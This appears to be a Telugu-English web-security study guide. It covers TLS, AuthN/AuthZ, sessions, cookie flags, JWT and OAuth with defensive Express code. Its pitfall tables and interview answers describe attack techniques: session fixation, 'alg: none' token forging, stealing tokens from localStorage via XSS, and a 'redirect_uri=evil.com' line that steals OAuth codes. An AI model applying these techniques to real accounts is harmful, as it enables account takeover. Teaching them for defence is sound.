- **Certificate** = public key + domain + CA signature. **CA** = trusted third party; **browser లో trusted root CAs list. Chain of trust** root దాకా verify.
- **PKI** = certificates + CAs + trust chains మొత్తం framework.
- TLS **MITM ని ఆపుతుంది** — encryption (చదవలేరు) + certificate (fake server పట్టుబడుతుంది).
- **HSTS** header తో HTTP downgrade ఆపు; production లో Let's Encrypt + nginx; HTTP→HTTPS redirect.

Interview దృష్టి

Q: HTTPS ఎలా పనిచేస్తుంది, TLS handshake చెప్పు. A: Client Hello (supported ciphers) → Server Hello + certificate (public key, CA signed) → client certificate ని verify (CA chain, domain, expiry) → రెండువైపులా shared symmetric session key ని derive (ECDHE, keys wire మీద పంపకుండా) → ఇక data అంతా symmetric AES తో encrypt. అంటే asymmetric ఒక్కసారి (verify + key setup), తర్వాత fast symmetric — ఇది hybrid.

Q: HTTPS ఉంటే encryption ఉంది. మరి certificate ఎందుకు అవసరం? A: Encryption ఒక్కటే సరిపోదు — నువ్వు ఎవరితో encrypt చేస్తున్నావో తెలియాలి. Attacker fake server పెట్టి నీతో encrypt చేస్తే, encryption ఉన్నా వాడు అంతా చదివేస్తాడు (MITM). Certificate + CA ఆ server నిజంగా google అని నిరూపిస్తుంది — authentication. అందుకే encryption (confidentiality) + certificate (authenticity) రెండూ కావాలి.

Q: Self-signed certificate ఎందుకు browser warning ఇస్తుంది? A: Self-signed = నీ certificate ని నువ్వే sign చేసుకున్నావు, trusted CA కాదు. Browser దాన్ని verify చేయలేదు (chain of trust root CA దాకా వెళ్ళదు) — అంటే ఎవరైనా అలా చేయవచ్చు, MITM కావొచ్చు. అందుకే warning. Production లో Let's Encrypt లాంటి trusted CA cert వాడాలి; self-signed dev/internal కి మాత్రమే.

6. Authentication vs Authorization

వివరణ

ఇవి రెండు వేరువేరు విషయాలు, కానీ చాలా మంది కలగలిపేస్తారు. Interview లో ఇది favorite question:

అంశం	Authentication (AuthN)	Authorization (AuthZ)
ప్రశ్న	"నువ్వు **ఎవరు?**"	"నీకు ఈ పని చేసే **హక్కు ఉందా?**"
ఎప్పుడు	ముందు (login)	తర్వాత (ప్రతి protected action)
ఎలా	password, OTP, biometric, token	roles, permissions, ownership check
ఉదా	email+password తో login	"admin మాత్రమే users delete చేయగలడు"
fail అయితే	401 Unauthorized	403 Forbidden

క్రమం ముఖ్యం: ముందు authentication (నువ్వెవరో నిరూపించు), తర్వాత authorization (నీ హక్కులు check). AuthN లేకుండా AuthZ అర్థం లేదు.

> **Authentication vs Authorization = office building.**
>
> - **Authentication** = building లోకి వచ్చేటప్పుడు **ID card చూపించడం** — "నేను ఉద్యోగి X" అని నిరూపణ. Security guard ID verify చేసి లోపలికి పంపుతాడు.
> - **Authorization** = లోపల ఉన్నా, ప్రతి తలుపు నీ card ని accept చేయదు. Server room కి "admin badge" ఉన్నవాళ్ళే వెళ్ళగలరు. నువ్వు valid employee (authenticated) అయినా, server room కి హక్కు (authorized) లేకపోతే తలుపు తెరుచుకోదు.
>
> **ID ఉంది కదా అని అన్ని gates తెరుచుకోవు.** Authenticated ≠ authorized. Login అయ్యాడు కదా అని ఏ action అయినా చేయనివ్వడం — ఇదే IDOR/broken access control bug (Topic 12).

6.1 సెషన్ ఎలా maintain చేస్తారు? — HTTP stateless problem

HTTP **stateless** — ప్రతి request స్వతంత్రం, server కి "ఇంతకు ముందు login అయిన అదే user" అని గుర్తుండదు. మరి login అయ్యాక ప్రతి request కి మళ్ళీ password అడగకుండా ఎలా గుర్తుపెట్టుకుంటారు? రెండు approaches:

Approach A — Session-based auth (stateful, cookie)

1. User login (email+password). Server verify చేస్తుంది.
2. Server ఒక **random session ID** (long unguessable string) create చేసి, **server-side** (memory/Redis/DB) లో `sessionId → userId` store చేస్తుంది.
3. ఆ session ID ని **cookie** గా browser కి పంపుతుంది.
4. Browser ప్రతి request కి ఆ cookie **automatically** పంపుతుంది.
5. Server cookie లోని session ID చూసి, తన store లో lookup చేసి "ఇది user X" అని తెలుసుకుంటుంది.

Stateful — session data server లో ఉంటుంది. Logout = server నుండి session delete (instant revoke). Cookie లో కేవలం random ID, actual data కాదు.

Approach B — Token-based auth (stateless, JWT)

1. User login. Server verify చేస్తుంది.
2. Server ఒక **signed token (JWT)** create చేస్తుంది — user info + signature *token లోనే* ఉంటుంది (Topic 7).
3. Token ని client కి పంపుతుంది; client దాన్ని store చేసి (cookie/memory), ప్రతి request కి `Authorization: Bearer <token>` header లో పంపుతుంది.
4. Server token యొక్క **signature verify** చేస్తుంది — valid అయితే token లోని user info నమ్ముతుంది. **Server లో ఏమీ store చేయనవసరం లేదు.**

Stateless — server session store అవసరం లేదు, horizontal scaling సులభం. కానీ logout/revoke కష్టం (token expiry దాకా valid).

Sessions vs Tokens — పోలిక

అంశం	Session (cookie)	Token (JWT)
State	Server-side store (stateful)	Server store లేదు (stateless)
Scaling	shared store (Redis) కావాలి	సులభం (ఏ server అయినా verify)
Revoke/logout	instant (server delete)	కష్టం (expiry దాకా valid)
Storage	cookie లో session ID	cookie/localStorage లో token
Size	చిన్నది (ID)	పెద్దది (full payload ప్రతి request)
Mobile/3rd-party API	cookies కష్టం	సులభం (header)
CSRF	vulnerable (cookie auto-send)	header అయితే safe; cookie అయితే కాదు
ఎప్పుడు	classic web app, single domain	SPA, mobile, microservices

వాస్తవం: చాలా production apps **hybrid** — short-lived JWT access token + server-side refresh token session. రెండింటి మంచి తీసుకుంటారు (Topic 7).

6.2 Cookie flags — cookies ని secure చేయడం (అత్యంత ముఖ్యం)

Cookie లో session ID / token store చేస్తే, ఆ cookie ని **సరిగ్గా flag** చేయకపోతే XSS/CSRF కి తలుపు తెరిచినట్టే. ఇవి తప్పకుండా గుర్తుంచుకో:

Flag	ఏం చేస్తుంది	ఎందుకు (ఏ attack ఆపుతుంది)
HttpOnly	JavaScript `document.cookie` దీన్ని చదవలేదు	**XSS** — attacker script cookie దొంగిలించలేదు
Secure	HTTPS connection మీద మాత్రమే పంపుతుంది	eavesdropping — HTTP లో leak కాదు
SameSite	cross-site requests కి cookie పంపదు (Strict/Lax/None)	**CSRF** (Topic 10)
Domain / Path	ఏ domain/path కి cookie వర్తిస్తుందో scope	over-sharing ఆపడం
Max-Age / Expires	cookie ఎంతకాలం బతుకుతుంది	పాత sessions expire

SameSite విలువలు:

- **Strict** — cross-site నుండి ఏ request కీ cookie పంపదు (అత్యంత secure, కానీ external link నుండి వస్తే logout లా అనిపిస్తుంది).
- **Lax** (modern default) — top-level navigation (link click) కి పంపుతుంది, కానీ cross-site POST/iframe/img కి పంపదు. మంచి balance.
- **None** — ఎప్పుడూ పంపుతుంది (cross-site కి కూడా) — దీనితో `Secure` తప్పనిసరి. Third-party embeds కి మాత్రమే.

Code — secure cookie in Express

```
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());

// ---- Login: session ID ని secure cookie లో set ----
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body.email, req.body.password);  // AuthN
  if (!user) return res.status(401).json({ error: 'Invalid credentials' });

  const sessionId = createSession(user.id);  // server-side store (Redis)
  res.cookie('sid', sessionId, {
    httpOnly: true,     // JS చదవలేదు → XSS లో cookie safe
    secure: true,       // HTTPS మాత్రమే
    sameSite: 'lax',    // CSRF protection
    maxAge: 1000 * 60 * 60 * 2,  // 2 hours
    // domain / path optionally
  });
  res.json({ ok: true });
});

// ---- Middleware: authentication check (నువ్వెవరు?) ----
function requireAuth(req, res, next) {
  const sid = req.cookies.sid;
  const session = getSession(sid);            // server store lookup
  if (!session) return res.status(401).json({ error: 'Not logged in' });
  req.user = session.user;                     // req కి user attach
  next();
}

// ---- Middleware: authorization check (నీకు హక్కు ఉందా?) ----
function requireRole(role) {
  return (req, res, next) => {
    if (req.user.role !== role)
      return res.status(403).json({ error: 'Forbidden' });  // 403, 401 కాదు!
    next();
  };
}

// AuthN తర్వాత AuthZ — order ముఖ్యం
app.delete('/users/:id', requireAuth, requireRole('admin'), (req, res) => {
  // ఇక్కడికి వచ్చాడంటే: authenticated + admin role రెండూ ఉన్నాయి
  deleteUser(req.params.id);
  res.json({ ok: true });
});

// ---- Logout: server session delete (instant revoke) ----
app.post('/logout', requireAuth, (req, res) => {
  destroySession(req.cookies.sid);
  res.clearCookie('sid');
  res.json({ ok: true });
});
```

6.3 Session Fixation + secure logout

Session Fixation attack: attacker ముందుగా ఒక session ID ని fix చేసి (ఉదా victim కి `?sid=ATTACKER_KNOWN` ఉన్న link పంపి), victim ఆ session తో login అయ్యేలా చేస్తాడు. Login తర్వాత కూడా session ID **అదే ఉంటే**, ఇప్పుడు attacker కి ఆ (authenticated) session ID తెలుసు → account access!

Fix — login తర్వాత session ID ని regenerate చేయి (privilege level మారినప్పుడల్లా కొత్త ID):

```
// express-session — login తర్వాత regenerate (పాత fixed ID invalid అవుతుంది)
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body.email, req.body.password);
  if (!user) return res.status(401).json({ error: 'Invalid credentials' });
  req.session.regenerate((err) => {                    // ✅ కొత్త session ID
    if (err) return res.status(500).json({ error: 'Session error' });
    req.session.userId = user.id;                      // authenticated data కొత్త session లో
    res.json({ ok: true });
  });
});
```

Secure logout checklist: (1) **server-side session destroy** (cookie clear మాత్రమే సరిపోదు — server లో invalidate చేయాలి), (2) cookie clear, (3) JWT అయితే refresh token revoke, (4) ideally "logout అన్ని devices" option (అన్ని sessions invalidate). Client cookie clear మాత్రమే చేస్తే, పాత session ID ఇంకా server లో valid → replay possible.

> **Session fixation = నీకు ముందే తెలిసిన locker number ని victim కి వాడించడం.** దొంగ locker #7 (తనకు తెలిసిన key ఉన్నది) ని నీకు ఇచ్చి "ఇది వాడు" అంటాడు. నువ్వు అందులో నగలు పెడితే, దొంగ తన key తో తీసుకుంటాడు. **Login లో locker మార్చడం (regenerate)** = ఇప్పుడు దొంగ key పనికిరాదు.

Key Points

- **Authentication (నువ్వెవరు) ముందు, Authorization (హక్కు ఉందా) తర్వాత.** AuthN fail → 401; AuthZ fail → 403.
- **Session-based** = server-side store, stateful, instant revoke; **Token-based (JWT)** = stateless, scaling సులభం, revoke కష్టం.
- **Cookie flags తప్పనిసరి:** `HttpOnly` (XSS లో cookie theft ఆపు), `Secure` (HTTPS only), `SameSite=Lax/Strict` (CSRF ఆపు).
- `document.cookie` ద్వారా JS చదవగలిగే cookie లో session/token పెడితే — XSS ఒక్కటి చాలు account takeover కి. **HttpOnly always.**
- Authenticated ≠ authorized — login అయ్యాడు కదా అని ప్రతి action allow చేయకు (broken access control).
- Real apps తరచూ **hybrid** (short JWT + refresh session).

Interview దృష్టి

Q: Authentication vs authorization — తేడా, HTTP status codes? A: Authentication = "నువ్వెవరు?" (login, identity నిరూపణ). Authorization = "నీకు ఈ పని హక్కు ఉందా?" (roles/permissions). ముందు authN, తర్వాత authZ.

AuthN fail = **401 Unauthorized** (login చెయ్); authZ fail = **403 Forbidden** (login అయ్యావు కానీ హక్కు లేదు). ఉదా: logged-in user మరొకరి data delete చేయబోతే — authenticated (401 కాదు) కానీ not authorized → 403.

Q: Session vs token (JWT) auth — ఎప్పుడు ఏది? A: Session = server-side store, stateful, logout instant revoke — classic single-domain web app కి బాగుంటుంది. JWT = stateless, ఏ server అయినా signature verify చేయగలదు — SPA, mobile, microservices కి scaling సులభం, కానీ revoke కష్టం (expiry దాకా valid). చాలా apps hybrid: short-lived JWT + server-side refresh token.

Q: Session cookie కి ఏ flags పెడతావు, ఎందుకు? A: `HttpOnly` (JS చదవలేదు → XSS లో cookie theft ఆపు), `Secure` (HTTPS మాత్రమే → eavesdrop ఆపు), `SameSite=Lax` (cross-site request లో cookie పంపదు → CSRF ఆపు), reasonable `maxAge`. ఈ మూడు flags లేకుండా session cookie పెట్టడం common serious bug.

7. JWT (JSON Web Token) — Deep

వివరణ

JWT = ఒక **self-contained, signed token** — user info + ఆ info tamper కాలేదని నిరూపించే signature, రెండూ *token లోనే.* MERN apps లో stateless authentication కి అత్యంత popular. Server session store అవసరం లేదు — token యొక్క signature verify చేస్తే చాలు.

నిర్మాణం (structure): JWT మూడు భాగాలు, **dot (.) తో** వేరు: `header.payload.signature`

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 . eyJ1c2VySWQiOiI0MiIsInJvbGUiOiJhZG1pbiJ9 .
dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
└───────────── HEADER ──────────────┘  └───────────── PAYLOAD ──────────────┘  └──────────────
SIGNATURE ──────────────┘
```

మూడు భాగాలు:

భాగం	ఏం ఉంటుంది	encode
Header	`{ "alg": "HS256", "typ": "JWT" }` — ఏ signing algorithm	base64url (**encrypt కాదు!**)
Payload	`{ "userId": 42, "role": "admin", "exp": ... }` — claims (user data)	base64url (**encrypt కాదు!**)
Signature	`HMAC-SHA256(base64(header) + "." + base64(payload), secret)`	server secret తో sign

అత్యంత ముఖ్యమైన insight: header, payload కేవలం **base64-encoded — encrypted కాదు!** ఎవరైనా వాటిని decode చేసి చదవగలరు (jwt.io లో paste చేస్తే). అంటే **JWT payload లో ఎప్పుడూ password, credit card లాంటి secrets పెట్టకూడదు.** JWT గోప్యత (confidentiality) ఇవ్వదు — అది **integrity + authenticity** మాత్రమే ఇస్తుంది (signature ద్వారా tamper detect).

Real-life Scenario

> **JWT = concert wristband (tamper-proof band).** Concert లో entry దగ్గర ఒకసారి ID verify చేసి, నీ చేతికి ఒక **hologram wristband** కడతారు.
>
> - దాని మీద నీ info రాసుంది (**payload** — VIP/general, section) — ఎవరైనా చూడొచ్చు (encrypt కాదు).
> - దానికి ఒక **special hologram (signature)** ఉంది — దీన్ని organizer మాత్రమే (secret తో) తయారు చేయగలడు.
> - లోపల ఏ stall దగ్గరైనా staff wristband చూసి, hologram నిజమో నకిలీనో చెప్పగలడు – **మళ్ళీ database చూడనవసరం లేదు** (stateless!).
> - నువ్వు band మీద "general" ని "VIP" గా మార్చాలని చూస్తే → hologram పగిలిపోతుంది (signature invalid) → పట్టుబడతావు.
>
> **మార్చడం కుదరదు, కానీ చదవడం అందరికీ కుదురుతుంది.** అందుకే band మీద నీ credit card రాయవు!

7.1 Signing — HMAC vs RSA

Signature రెండు రకాలుగా చేయవచ్చు:

Type	Algorithm	Key	ఎప్పుడు
Symmetric	HS256 (HMAC-SHA256)	ఒకే **secret** (sign + verify)	ఒకే service sign & verify చేస్తే (simple)
Asymmetric	RS256 (RSA), ES256	**private** sign, **public** verify	వేరు services verify చేయాలంటే (public key పంచవచ్చు)

- **HS256** — server ఒక secret తో sign, అదే secret తో verify. Simple, fast. Secret leak అయితే ఎవరైనా tokens forge చేయగలరు.
- **RS256** — auth server private key తో sign; ఇతర services public key తో verify (private కాకుండా). Microservices/OAuth కి ideal – verify చేసేవాళ్ళకి forge చేసే శక్తి ఇవ్వకుండా.

Code — JWT sign + verify (Express)

```
// npm install jsonwebtoken
const jwt = require('jsonwebtoken');
const JWT_SECRET = process.env.JWT_SECRET;   // strong random, .env లో (never hardcode!)

// ---- Login: JWT create (sign) ----
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body.email, req.body.password);
  if (!user) return res.status(401).json({ error: 'Invalid credentials' });

  const token = jwt.sign(
    { userId: user.id, role: user.role },     // payload (secrets పెట్టకు!)
    JWT_SECRET,
    { expiresIn: '15m', algorithm: 'HS256' }  // exp తప్పనిసరి!
  );
```

```
  res.json({ token });
});

// ---- Middleware: JWT verify ----
function requireAuth(req, res, next) {
  const auth = req.headers.authorization;            // "Bearer <token>"
  if (!auth?.startsWith('Bearer ')) return res.status(401).json({ error: 'No token' });
  const token = auth.slice(7);
  try {
    // ⚠️ algorithms explicitly ఇవ్వు — "alg:none" / algorithm confusion attack ఆపడానికి
    const payload = jwt.verify(token, JWT_SECRET, { algorithms: ['HS256'] });
    req.user = payload;                              // { userId, role, iat, exp }
    next();
  } catch (err) {
    // TokenExpiredError లేదా JsonWebTokenError (invalid signature)
    return res.status(401).json({ error: 'Invalid or expired token' });
  }
}

app.get('/profile', requireAuth, (req, res) => {
  res.json({ userId: req.user.userId, role: req.user.role });
});
```

7.2 Storage — cookie vs localStorage (కీలక నిర్ణయం)

Client token ని ఎక్కడ store చేయాలి? ఇది చాలా misunderstood:

Storage	XSS లో?	CSRF లో?	తీర్పు
localStorage	❌ JS చదవగలదు → XSS లో token theft	✅ safe (auto-send కాదు)	XSS ఉంటే account takeover
HttpOnly cookie	✅ JS చదవలేదు → XSS safe	❌ auto-send → CSRF (SameSite తో fix)	**మంచిది** (SameSite=Lax/Strict తో)
memory (JS variable)	✅ persistent కాదు → tab close అయితే పోతుంది	✅ safe	access token కి బాగుంది (refresh cookie తో)

Best practice: access token ని **memory** లో (లేదా HttpOnly cookie), refresh token ని **HttpOnly + Secure + SameSite cookie** లో. **localStorage లో ఎప్పుడూ token పెట్టకు** — ఒక్క XSS bug ఉంటే attacker token తీసుకుని account takeover చేస్తాడు (Topic 9).

7.3 Expiry & Refresh tokens

JWT stateless కాబట్టి **revoke కష్టం** — signature valid అయినంతకాలం token పనిచేస్తుంది. Token దొంగిలిస్తే, expiry దాకా attacker వాడగలడు. పరిష్కారం: **short-lived access + long-lived refresh.**

Token	జీవితకాలం	ఎక్కడ	పని
Access token	5-15 నిమిషాలు	memory / header	ప్రతి API request కి
Refresh token	7-30 రోజులు	HttpOnly cookie + **server-side store**	కొత్త access token పొందడానికి

Flow: access token expire అయితే → client `/refresh` కి refresh token పంపుతుంది → server refresh token ని తన DB store లో check చేసి (valid + not revoked) కొత్త access token ఇస్తుంది. **Logout = server refresh token delete** → ఇక కొత్త access రాదు (revoke సాధ్యం అవుతుంది). ఇదే session + JWT hybrid.

```
// ---- Refresh flow ----
app.post('/refresh', async (req, res) => {
  const rt = req.cookies.refreshToken;                    // HttpOnly cookie
  if (!rt) return res.status(401).json({ error: 'No refresh token' });

  const stored = await db.refreshTokens.findOne({ token: rt });  // server store
  if (!stored || stored.revoked) return res.status(401).json({ error: 'Invalid' });

  const payload = jwt.verify(rt, process.env.REFRESH_SECRET, { algorithms: ['HS256'] });
  const newAccess = jwt.sign({ userId: payload.userId, role: payload.role },
                             JWT_SECRET, { expiresIn: '15m', algorithm: 'HS256' });
  res.json({ token: newAccess });
});
```

Refresh token rotation (theft detection): ఇంకా secure గా చేయడానికి — ప్రతిసారి refresh token వాడినప్పుడు **కొత్త refresh token issue చేసి పాతది invalidate** చేయి (rotation). దీని బోనస్: ఒక పాత (already-used) refresh token మళ్ళీ వస్తే → అది **theft signal** (legitimate user కి కొత్తది ఉంది, ఈ పాతది వాడేది attacker) → ఆ user యొక్క **అన్ని tokens revoke.** ఇది stolen refresh token blast radius ని తగ్గిస్తుంది.

```
const crypto = require('crypto');
// rotate: పాతది వాడాక invalidate; reuse detect అయితే అన్నీ revoke
async function rotateRefresh(oldToken) {
  const stored = await db.refreshTokens.findOne({ token: oldToken });
  if (!stored) throw new Error('Invalid refresh token');
  if (stored.used) {                            // already వాడేసిన token మళ్ళీ వచ్చింది!
    await db.refreshTokens.deleteMany({ userId: stored.userId });  // theft → revoke all
    throw new Error('Token reuse detected — all sessions revoked');
  }
  await db.refreshTokens.updateOne({ token: oldToken }, { $set: { used: true } });
  const newRefresh = crypto.randomBytes(32).toString('hex');       // CSPRNG
  await db.refreshTokens.insertOne({ token: newRefresh, userId: stored.userId, used: false });
  return newRefresh;
}
```

7.4 Pitfalls (అత్యంత ముఖ్యం — interview లో అడుగుతారు)

Pitfall	ప్రమాదం	పరిష్కారం
`alg: none` / algorithm confusion	attacker signature లేకుండా token forge (alg none), లేదా RS256→HS256 confusion	verify లో `algorithms: ['HS256']` explicit
Weak secret	brute force తో secret crack → tokens forge	32+ byte random secret, .env లో
localStorage storage	XSS → token theft → account takeover	HttpOnly cookie / memory
No expiry	token forever valid; leak = permanent access	`expiresIn` always
Secrets in payload	payload base64, anyone reads	payload లో IDs/roles మాత్రమే, no secrets
No revocation	logout తర్వాత token ఇంకా valid	short access + refresh + server store
Sensitive data trust	payload trust చేసి critical action	server-side authorization కూడా check

Key Points

- **JWT = header.payload.signature** (dot-separated base64url). Header/payload **encrypted కాదు** — ఎవరైనా చదవగలరు. Secrets పెట్టకు.
- Signature = **integrity + authenticity** (tamper detect), confidentiality కాదు.
- **HS256** (shared secret) simple; **RS256** (private sign, public verify) microservices/OAuth కి.
- Verify లో `algorithms: [...]` **explicit** — `alg:none` / algorithm confusion attack ఆపు.
- **Storage:** localStorage కాదు (XSS risk) → **HttpOnly cookie / memory.**
- **Short access (15m) + long refresh (server-side store)** → revoke సాధ్యం + security.
- `expiresIn` **తప్పనిసరి**; strong secret in `.env` .

Interview దృష్టి

Q: JWT structure చెప్పు, payload encrypt అవుతుందా? A: మూడు base64url భాగాలు dot తో: header (alg), payload (claims — userId/role/exp), signature. Payload **encrypt కాదు, కేవలం base64** — ఎవరైనా decode చేసి చదవగలరు (jwt.io). JWT integrity/authenticity ఇస్తుంది (signature tamper detect), confidentiality కాదు. అందుకే password, PII payload లో పెట్టకూడదు.

Q: JWT ని localStorage లో పెట్టడం ఎందుకు ప్రమాదం? A: localStorage ని JavaScript చదవగలదు. XSS bug ఒక్కటి ఉంటే, attacker script `localStorage.getItem('token')` తో token దొంగిలించి full account takeover చేస్తాడు — HttpOnly cookie లా protect కాదు. అందుకే access token memory లో లేదా HttpOnly+Secure+SameSite cookie లో, refresh token HttpOnly cookie లో పెట్టాలి.

Q: JWT ని ఎలా revoke/logout చేస్తావు? Stateless కదా? A: Pure JWT revoke కుదరదు — signature valid అయినంతకాలం పనిచేస్తుంది. అందుకే: (1) access token ని **short-lived** (15m) చేస్తా — leak అయినా త్వరగా expire. (2) long-lived **refresh token ని server-side store** చేస్తా; logout లో దాన్ని delete/revoke చేస్తా → కొత్త access token రాదు. అవసరమైతే token blocklist (jti) కూడా. ఇది pure statelessness ని కొంచెం వదులుకుని revocation పొందడం.

Q: `alg: none` attack అంటే ఏమిటి? A: కొన్ని JWT libraries header లోని `alg` ని గుడ్డిగా నమ్మి, `alg:none` అయితే signature check skip చేసేవి. Attacker header ని `{"alg":"none"}` గా మార్చి, signature లేకుండా ఏ payload అయినా forge చేయగలడు. అలాగే RS256→HS256 confusion (public key ని HMAC secret గా వాడటం). పరిష్కారం: verify లో `algorithms: ['HS256']` **explicitly** ఇవ్వడం — library ని expected algorithm కే limit చేయడం.

8. OAuth 2.0 & SSO (Login with Google)

వివరణ

రోజూ నువ్వు వాడే **"Login with Google / GitHub / Facebook"** — దీని వెనక ఉన్నది **OAuth 2.0** (+ OpenID Connect). దీని అసలు లక్ష్యం అర్థం చేసుకో:

OAuth 2.0 = delegated authorization. ఒక app కి, నీ **password ఇవ్వకుండా**, నీ తరపున మరో service లో limited access ఇవ్వడం. ఉదా: ఒక photo-printing app కి నీ Google Photos చూసే permission ఇవ్వాలి — కానీ నీ Google password ఇవ్వడం ప్రమాదం (అది full access, forever). OAuth దీన్ని పరిష్కరిస్తుంది: Google నీ password అడక్కుండా, ఆ app కి ఒక **scoped, revocable access token** ఇస్తుంది ("photos read మాత్రమే, ఇంకేమీ కాదు").

కీలక తేడా: OAuth 2.0 అసలు **authorization** (access delegation) కోసం, **authentication** (login) కోసం కాదు. కానీ "Login with Google" లో మనకి కావలసింది login (identity). అందుకే దాని పైన ఒక layer — **OpenID Connect (OIDC)** — వచ్చింది, ఇది authentication ని add చేస్తుంది (**ID token** ద్వారా). అంటే: **"Login with Google" = OIDC (authentication) on top of OAuth 2.0 (authorization).**

Real-life Scenario

> **OAuth = హోటల్ valet key (వాలెట్ కీ).** నీ కారుని valet కి ఇచ్చేటప్పుడు నీ **అసలు master key ఇవ్వవు** — అది ఇంటిని, trunk ని, glovebox ని అన్నీ తెరుస్తుంది. బదులుగా ఒక **valet key** ఇస్తావు: అది కారు start చేసి, కొంచెం దూరం drive చేయగలదు — కానీ trunk తెరవదు, speed limit ఉంటుంది.
>
> - నీ **master key = Google password** (ఇవ్వకూడదు — full access).
> - **valet key = access token** (scoped: photos read మాత్రమే, revocable).
> - **valet = the third-party app.**
>
> Valet ని నమ్మకపోయినా పర్వాలేదు — వాడికి limited key మాత్రమే ఉంది, ఎప్పుడైనా దాన్ని invalidate చేయవచ్చు. **అదే OAuth: password పంచకుండా, limited-scope, revocable access.**

8.1 నాలుగు roles

OAuth ని అర్థం చేసుకోవడానికి ఈ 4 పాత్రలు తెలియాలి:

Role	ఎవరు	ఉదాహరణ
Resource Owner	user (నువ్వు)	నీ Google account owner
Client	access కావాలనుకునే app	photo-printing app (నీ MERN app)
Authorization Server	tokens ఇచ్చేది	Google's OAuth server (accounts.google.com)
Resource Server	data ఉన్నచోటు	Google Photos API

8.2 Authorization Code Flow (అత్యంత common, secure)

ఇది server-side apps కి standard flow. Steps (నీ MERN app "Login with Google" పెడితే):

```
USER              YOUR APP (client)         GOOGLE (auth server)
 │                    │                          │
 │ 1. "Login with     │                          │
 │    Google" click ─►│                          │
 │                    │ 2. redirect to Google ──►│
 │                    │   (client_id, redirect_uri,│
 │                    │    scope, state)          │
 │                    │                          │
 │ ◄─────────── 3. Google login page + consent ──│
 │   "ఈ app కి photos read access ఇవ్వాలా?"        │
 │ 4. login + "Allow" ──────────────────────────►│
 │                    │                          │
 │                    │ ◄─ 5. redirect back with ─│
 │                    │     authorization CODE    │
 │                    │     (+ state)             │
 │                    │                          │
 │                    │ 6. backend: CODE +        │
 │                    │    client_SECRET ───────►│   (server-to-server)
 │                    │                          │
 │                    │ ◄─ 7. access_token +      │
 │                    │     id_token (OIDC)       │
 │                    │                          │
 │                    │ 8. token తో API call /    │
 │                    │    id_token తో "ఎవరు" తెలుసు│
```

కీలక భద్రతా అంశాలు:

- **Authorization code** (step 5) browser ద్వారా వస్తుంది కానీ అది useless ఒక్కటే — దాన్ని **client_secret** తో backend లో exchange చేయాలి (step 6, server-to-server). అందుకే token browser కి ఎప్పుడూ నేరుగా రాదు (secure).
- `state` **parameter** — CSRF protection (Topic 10). App ఒక random state పంపి, తిరిగి వచ్చినప్పుడు match చేస్తుంది — attacker forged callback ని ఆపడానికి.
- `scope` — least privilege (Topic 1): "photos.read" మాత్రమే అడుగు, "everything" కాదు.

8.3 PKCE — SPA/mobile కి

SPA (React) లేదా mobile app లో **client_secret ని దాచలేం** (code browser లో అందరికీ కనపడుతుంది). దీనికి **PKCE (Proof Key for Code Exchange)** — client_secret బదులు, ప్రతి login కి ఒక random `code_verifier` generate చేసి, దాని hash (`code_challenge`) ని Google కి పంపుతుంది; code exchange లో original verifier చూపిస్తుంది. అంటే stolen code మరొకరు వాడలేరు. **Public clients (SPA, mobile) కి PKCE తప్పనిసరి.**

8.4 OpenID Connect (OIDC) — authentication layer

OAuth access_token "ఏం చేయవచ్చు" చెప్తుంది కానీ "ఎవరు" చెప్పదు. OIDC ఒక **ID token** (ఒక JWT!) add చేస్తుంది — దానిలో user identity (`sub` =user id, `email` , `name`). "Login with Google" లో నీ app ఈ ID token ని verify చేసి "ఇది ఫలానా user" అని తెలుసుకుంటుంది. **ID token = authentication; access token = authorization.**

Code — Google OAuth (Passport.js)

```
// npm install passport passport-google-oauth20
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;

passport.use(new GoogleStrategy({
  clientID:     process.env.GOOGLE_CLIENT_ID,
  clientSecret: process.env.GOOGLE_CLIENT_SECRET,   // .env — browser కి రాదు
  callbackURL:  '/auth/google/callback',
}, async (accessToken, refreshToken, profile, done) => {
  // profile = Google నుండి verified identity (id, email, name)
  let user = await db.users.findOne({ googleId: profile.id });
  if (!user) {                                       // మొదటిసారి → account create
    user = await db.users.insertOne({
      googleId: profile.id, email: profile.emails[0].value, name: profile.displayName,
    });
  }
  done(null, user);   // మన app యొక్క సొంత session/JWT ఇక్కడ నుండి issue
}));

// 1. login start — Google కి redirect (scope = least privilege)
app.get('/auth/google',
  passport.authenticate('google', { scope: ['profile', 'email'] }));

// 2. Google callback — code exchange passport auto చేస్తుంది
app.get('/auth/google/callback',
  passport.authenticate('google', { failureRedirect: '/login', session: false }),
  (req, res) => {
    // ఇక్కడ req.user = verified Google user. ఇప్పుడు మన సొంత JWT/session ఇవ్వు:
    const token = jwt.sign({ userId: req.user._id }, process.env.JWT_SECRET,
                           { expiresIn: '15m' });
    res.json({ token });
  });
```

గమనించు: Google verify చేసిన తర్వాత, నీ app **తన సొంత session/JWT** issue చేస్తుంది. Google token ని నీ app సొంత auth కి వాడవు — Google identity ని "ఈ email నిజం" అని నమ్మడానికి మాత్రమే వాడతావు.

8.5 SSO (Single Sign-On)

SSO = ఒక్కసారి login చేస్తే, అనేక apps లో login అయిపోవడం (Gmail login చేస్తే YouTube, Drive అన్నీ). ఇది తరచూ OIDC/SAML మీద నడుస్తుంది — ఒక central **Identity Provider (IdP)** అన్ని apps కి identity vouch చేస్తుంది. Enterprise లో (Okta, Azure AD) SAML/OIDC తో implement చేస్తారు.

8.6 OAuth security pitfalls (interview లో అడుగుతారు)

OAuth misconfigure చేస్తే account takeover కి దారి తీస్తుంది. కీలక pitfalls:

Pitfall	ప్రమాదం	పరిష్కారం
`redirect_uri` **loose validation**	attacker `redirect_uri=evil.com` పెట్టి code/token దొంగిలిస్తాడు	**exact-match allowlist** (registered URIs మాత్రమే, prefix కాదు)
`state` **missing**	CSRF — victim ని attacker account కి link	random `state` generate + verify (Topic 10)
Public client + secret	SPA/mobile లో secret leak	**PKCE** (secret లేకుండా)
Token in URL fragment	referrer/history/logs లో leak	Authorization Code flow (implicit కాదు)
Token validation skip	wrong-audience token accept	`aud` , `iss` , expiry, signature verify
Over-broad scope	app కి అవసరం కంటే ఎక్కువ access	least-privilege scopes మాత్రమే

